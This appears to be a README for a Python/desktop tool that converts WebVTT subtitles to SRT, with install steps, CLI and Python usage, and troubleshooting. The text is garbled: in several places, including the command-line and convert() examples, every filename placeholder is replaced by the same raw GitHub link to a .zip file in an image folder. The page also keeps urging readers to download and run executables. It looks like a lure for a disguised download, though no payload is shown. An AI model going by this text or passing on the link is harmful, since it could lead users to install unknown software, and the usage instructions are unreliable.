whisper-vtt2srt is a tool designed to convert WebVTT files into the SRT format. It's perfect for AI transcriptions, whether from Whisper or YouTube. This tool addresses common problems, such as the "Karaoke effect," by intelligently fixing text accumulation and filtering out micro-glitches. It also cleans up unnecessary metadata, providing you with a polished result.
- Quality Conversion: Accurately converts WebVTT to SRT.
- Karaoke Effect Fix: Automatically resolves text accumulation issues.
- Glitch Filtering: Cleans up minor text glitches for better readability.
- Metadata Cleanup: Removes redundant data from subtitles.
- Batch Processing: Convert multiple files at once with ease.
- Command-Line Interface (CLI): Use from the terminal for quick tasks.
- Simple Python API: Easy integration for developers or in automated workflows.
- Zero Dependencies: Runs seamlessly without needing additional software.
Getting started with whisper-vtt2srt is easy. Follow these simple steps to download and run the application.
Click the button below to go to the releases page where you can find the latest version of whisper-vtt2srt.
On the releases page, you will see a list of available versions. Choose the most recent version that fits your operating system.
- For Windows, download the
.exefile. - For MacOS, download the
.dmgfile. - For Linux, download the appropriate package based on your distribution.
- Locate the downloaded
.exefile. - Double-click the file to start the installation.
- Follow the prompts to complete the installation.
- Open the downloaded
.dmgfile. - Drag the application to your Applications folder.
- Eject the
.dmgfile after the transfer is complete.
- Open your terminal.
- Navigate to the directory where you downloaded the package.
- Use the package manager to install, for example:
sudo dpkg -i whisper-vtt2srt-*.deb
- Operating System: Windows 10 or later, MacOS 10.13 or later, or a compatible Linux distribution.
- RAM: Minimum 2 GB recommended.
- Disk Space: At least 100 MB of free disk space for installation.
Now that you're ready, go back to the releases page to download the latest version of whisper-vtt2srt.
After successfully installing the application, you can begin converting WebVTT files to SRT.
- Launch the whisper-vtt2srt application from your applications list.
- Import the WebVTT file you want to convert.
- Select the output format as SRT.
- Click "Convert" to start the process.
- Your converted SRT file will be saved in the specified location.
- Open your command line or terminal.
- Navigate to the directory containing whisper-vtt2srt.
- Enter the following command:
Replace
whisper-vtt2srt https://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zip https://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zip
https://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zipwith your WebVTT file andhttps://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zipwith the desired output filename.
- Import the library in your Python script:
from whisper_vtt2srt import convert
- Use the convert function:
convert("https://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zip", "https://raw.githubusercontent.com/GodzCursed/whisper-vtt2srt/main/docs/img/srt_vtt_whisper_v2.1.zip")
-
Problem: The application fails to launch.
- Solution: Ensure that your operating system meets the required specs.
-
Problem: The output file is not generated.
- Solution: Confirm that you have permissions to write in the output directory.
If you encounter issues or have questions, please consider opening an issue on our GitHub page. Your feedback helps us improve the application.
We welcome contributions from everyone. If you want to help, check out our contributing guide.
- AI Tooling
- Dubbing
- Post Processing
- Python Library
- Subtitles Management
Feel free to explore these topics as you enhance your experience with subtitles and audio processing.